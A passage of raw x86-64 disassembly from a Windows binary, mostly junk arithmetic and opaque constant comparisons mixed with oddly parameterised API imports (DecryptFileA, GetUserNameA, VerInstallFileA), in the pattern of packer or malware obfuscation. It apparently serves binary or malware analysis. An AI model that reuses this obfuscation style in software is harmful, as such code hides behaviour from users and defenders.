mov word [rcx], ax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
xor eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f60]
movzx ecx, al
mov rax, qword [rsp + 0x8fc0]
shl rax, cl
mov qword [rsp + 0x8fa0], rax
mov eax, dword [rsp + 0x4dec]
or eax, 0xfa1aa98b
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4dec]
mov rcx, qword [rsp + 0x8f70]
mov qword [rsp + 0x8fc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8fc8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1f7]
sub eax, 0x58
mov byte [rsp + 0x1f7], al
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e18]
add ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
movsx eax, byte [rsp + 0x1f7]
and eax, 0x58
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fc0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8fc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [0x14025c008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e18], eax
mov eax, dword [rsp + 0x4dec]
add eax, 0xd1b06bd8
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
xor eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
or eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e18]
movzx ecx, al
mov eax, dword [rsp + 0x4e20]
shl eax, cl
mov dword [0x14025c008], eax
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14a8]
and eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
add eax, 0x61
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
sub eax, 0xfc65712b
mov dword [rsp + 0x4dec], eax
cmp dword [rsp + 0x4e14], 0xbd52
jb 0x14005880a
lea rax, [rsp + 0x4e20]
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e20]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x4e18]
mov edx, dword [rsp + 0x4e30]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140058cf2
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e18]
xor ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x4e44], al
cmp byte [rsp + 0x4e44], 8
je 0x140058cca
jmp 0x140058ce7
lea rdx, [rsp + 0x8fd0]
lea rcx, [rsp + 0x278b0]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x4e48], eax
call fcn.14020f790
nop
jmp 0x14020ef6f
lea rax, [rsp + 0x14a8]
mov qword [rsp + 0x8fd8], rax
lea rax, [rsp + 0x4dec]
mov qword [rsp + 0x8fe0], rax
mov dword [rsp + 0x4e4c], 0xd164
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
sar eax, cl
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x8fd8]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jne 0x14020ed6f
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f98]
mov qword [rsp + 0x8fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8fe8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8fa0], rax
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x4e50], al
cmp byte [rsp + 0x4e50], 0xc
je 0x140058daf
cmp byte [rsp + 0x4e50], 0x18
je 0x140058e56
jmp 0x140058f2b
movsx eax, word [rsp + 0x14a8]
mov dword [rsp + 0x4e54], eax
cmp dword [rsp + 0x4e54], 0x360b
je 0x140058dda
cmp dword [rsp + 0x4e54], 0x4d2f
je 0x140058e34
jmp 0x140058e51
movsx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x8fb0]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0x1f7]
movzx edx, byte [rsp + 0x1f7]
movzx ecx, byte [rsp + 0x1f7]
call fcn.1402104a0
nop
jmp 0x140058e51
lea rdx, [rsp + 0x8ff0]
lea rcx, [rsp + 0x8f60]
call qword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [rsp + 0x4e48], eax
jmp 0x140058f2b
mov eax, dword [rsp + 0x4dec]
mov dword [rsp + 0x4e58], eax
mov eax, dword [rsp + 0x4e30]
mov dword [rsp + 0x4e5c], eax
movzx eax, byte [rsp + 0x1ac]
mov byte [rsp + 0x4e60], al
cmp byte [rsp + 0x4e60], 0xd
je 0x140058e9a
cmp byte [rsp + 0x4e60], 0xe3
je 0x140058f0e
jmp 0x140058f2b
lea rax, [rsp + 0x14a4]
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x9000], rax
movzx eax, byte [rsp + 0x1f6]
mov byte [rsp + 0x1f8], al
movzx eax, word [rsp + 0xfbc]
mov word [0x14025d750], ax
mov dword [rsp + 0x4e64], 0x90d2
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x9008], rax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f8]
and eax, ecx
mov byte [rsp + 0x1f6], al
jmp 0x140058f2b
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movsx eax, word [rsp + 0xfbc]
mov dword [rsp + 0x4e68], eax
cmp dword [rsp + 0x4e68], 0x34bc
je 0x140058f49
jmp 0x140058f68
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e18]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e30], eax
jmp 0x14020ed0d
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov qword [rsp + 0x9010], rax
movabs rax, 0xe0ec41d5a7a033ba
cmp qword [rsp + 0x9010], rax
je 0x140058f91
jmp 0x140058fa9
mov ecx, 0xdf
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov qword [rsp + 0x9018], rax
jmp 0x1400590d1
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
add eax, ecx
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x8fb0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x1400590b8
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f8]
sub eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov dword [rsp + 0x4e6c], eax
cmp dword [rsp + 0x4e6c], 0x79a48b74
je 0x140059057
cmp dword [rsp + 0x4e6c], 0xe3625c99
je 0x140059044
jmp 0x1400590b8
mov rax, qword [rsp + 0x8ff8]
movzx ecx, word [rax]
call fcn.14020feb0
nop
jmp 0x1400590b8
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x4e70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9018]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8f60]
lea r8, [rsp + 0x9008]
lea rdx, [rsp + 0x8ff0]
lea rcx, [rsp + 0x8f68]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x4e74], eax
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1ac]
imul eax, ecx
mov byte [0x14025c00c], al
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x8fb0]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jge 0x14005912f
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f7], al
movzx ecx, word [rsp + 0x14a4]
call fcn.14020feb0
nop
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
shl eax, cl
movsx ecx, byte [rsp + 0x1f7]
cmp eax, ecx
jge 0x1400591d1
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14a8]
sar eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
lea rdx, [rsp + 0x8fc0]
lea rcx, [rsp + 0x8fc0]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x4e78], eax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1ac]
and eax, ecx
movzx ecx, byte [0x14025c00c]
movzx edx, byte [rsp + 0x1f6]
imul ecx, edx
cmp eax, ecx
jge 0x14020ecb3
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a8]
add eax, ecx
movsx ecx, word [rsp + 0xfbc]
mov rdx, qword [rsp + 0x8f68]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14020ec7b
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x1f7]
cmp eax, ecx
jne 0x140059339
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
or eax, ecx
mov byte [0x14025c00c], al
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov dword [rsp + 0x4e7c], eax
cmp dword [rsp + 0x4e7c], 0x1f5b01b9
je 0x14005931a
cmp dword [rsp + 0x4e7c], 0xfa3b8a24
je 0x1400592bc
jmp 0x140059334
lea rdx, [rsp + 0x27880]
mov rcx, qword [rsp + 0x9020]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a8]
sar eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f7], al
jmp 0x140059334
mov edx, ILClone
mov rcx, qword [rsp + 0x9028]
call qword [sym.imp.ADVAPI32.dll_DecryptFileA]
mov dword [rsp + 0x4e84], eax
jmp 0x140059412
lea rax, [rsp + 0x14a4]
mov qword [rsp + 0x9030], rax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x4e18]
mov edx, dword [0x14025c008]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x1400593f0
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov dword [rsp + 0x4e88], eax
movabs rax, 0x2d51dbf2c0d89702
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov dword [rsp + 0x4e8c], eax
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e88]
sub ecx, eax
mov eax, ecx
mov dword [0x14025c010], eax
jmp 0x140059412
movzx r8d, word [rsp + 0xfbc]
mov rax, qword [rsp + 0x8f98]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x9038]
call fcn.14020f290
nop
cmp dword [rsp + 0x4e1c], 0xc7c8
jbe 0x140059a10
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [0x14025d750]
or eax, ecx
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x8fa0]
movzx ecx, al
mov rax, qword [rsp + 0x8f60]
shl rax, cl
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x9038]
sar rax, 0x3d
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a4], ax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f8]
sub eax, ecx
mov byte [0x14025c00c], al
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x8f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
movabs rax, 0x791eef9bde7cf49d
mov rcx, qword [rsp + 0x9038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
sar eax, cl
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f8]
xor eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
or eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4dec]
mov ecx, dword [rsp + 0x4e58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
movabs rax, 0x5d1acbfe6c4bc533
mov rcx, qword [rsp + 0x9038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
sub eax, ecx
mov word [rsp + 0x14a8], ax
mov eax, dword [rsp + 0x4e1c]
sub eax, 0x6a
mov dword [rsp + 0x4e1c], eax
movzx eax, byte [0x14025c00c]
movzx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fc0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
mov eax, dword [rsp + 0x4e58]
movzx ecx, al
mov eax, dword [rsp + 0x4e88]
shr eax, cl
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1ac]
add eax, ecx
mov byte [0x14025c00c], al
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f8]
sub eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fa0], rax
movabs rax, 0x3be1c92cc9aa5a0f
mov rcx, qword [rsp + 0x9038]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e58]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a8]
sar eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
and eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
jmp 0x140059412
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov dword [rsp + 0x4e90], eax
cmp dword [rsp + 0x4e90], 0xb329a3b7
je 0x140059a30
jmp 0x140059a72
movabs rax, 0x287931334992d9df
mov rcx, qword [rsp + 0x9038]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
lea rdx, [rsp + 0x8ff0]
mov rcx, qword [rsp + 0x9020]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x4e80], eax
jmp 0x140059bde
movabs rax, 0x24db845b0ca3d12c
cmp qword [rsp + 0x9038], rax
je 0x140059b93
mov rax, qword [rsp + 0x9038]
mov qword [rsp + 0x9048], rax
movabs rax, 0x1d5f3a1e1752c5b3
cmp qword [rsp + 0x9048], rax
je 0x140059ab3
jmp 0x140059b91
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fc0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f8]
mov byte [rsp + 0x4e94], al
cmp byte [rsp + 0x4e94], 0x48
je 0x140059b35
cmp byte [rsp + 0x4e94], 0xb0
je 0x140059afc
jmp 0x140059b91
mov eax, dword [0x14025c008]
mov ecx, dword [rsp + 0x4e20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
movzx r8d, word [rsp + 0x14a4]
mov rdx, qword [rsp + 0x9038]
movzx ecx, word [rsp + 0x14a4]
call fcn.140210960
nop
jmp 0x140059b91
lea rax, [rsp + 0x8fc0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x9020]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4e74]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28490]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x9028]
mov r8, qword [rsp + 0x9020]
lea rdx, str.TraversedclaimsRoughieDesperate
mov ecx, 0xd4
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x4e98], eax
jmp 0x140059bde
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xfbc]
add ecx, edx
cmp eax, ecx
jge 0x140059bde
mov rax, qword [rsp + 0x8fe0]
mov ecx, dword [rsp + 0x4e98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e88], eax
movabs rax, 0x71d0591fcb62620
cmp qword [rsp + 0x9038], rax
jle 0x14020eb69
mov rax, qword [rsp + 0x9038]
mov qword [rsp + 0x9050], rax
movabs rax, 0x21ff647a46a025b3
cmp qword [rsp + 0x9050], rax
je 0x140059c1f
jmp 0x140059d1c
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f8]
add eax, ecx
mov byte [0x14025c00c], al
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov qword [rsp + 0x9058], rax
movabs rax, 0x4ffdc20bc0d3e32f
cmp qword [rsp + 0x9058], rax
je 0x140059c83
jmp 0x140059c9c
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1f6]
add eax, ecx
mov byte [rsp + 0x1ac], al
lea rax, [rsp + 0x278c0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x9060]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x9060]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x9068]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x9020]
mov r8, qword [rsp + 0x9070]
mov rdx, qword [rsp + 0x9028]
mov ecx, ILCloneFirst
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x4e98], eax
movzx r8d, word [0x14025d750]
mov rdx, qword [rsp + 0x8fa0]
mov rcx, qword [rsp + 0x9038]
call fcn.14020f290
nop
jmp 0x14020ea69
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f7], al
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4dec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4e18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
xor eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14025d750], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
sar eax, cl
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ac]
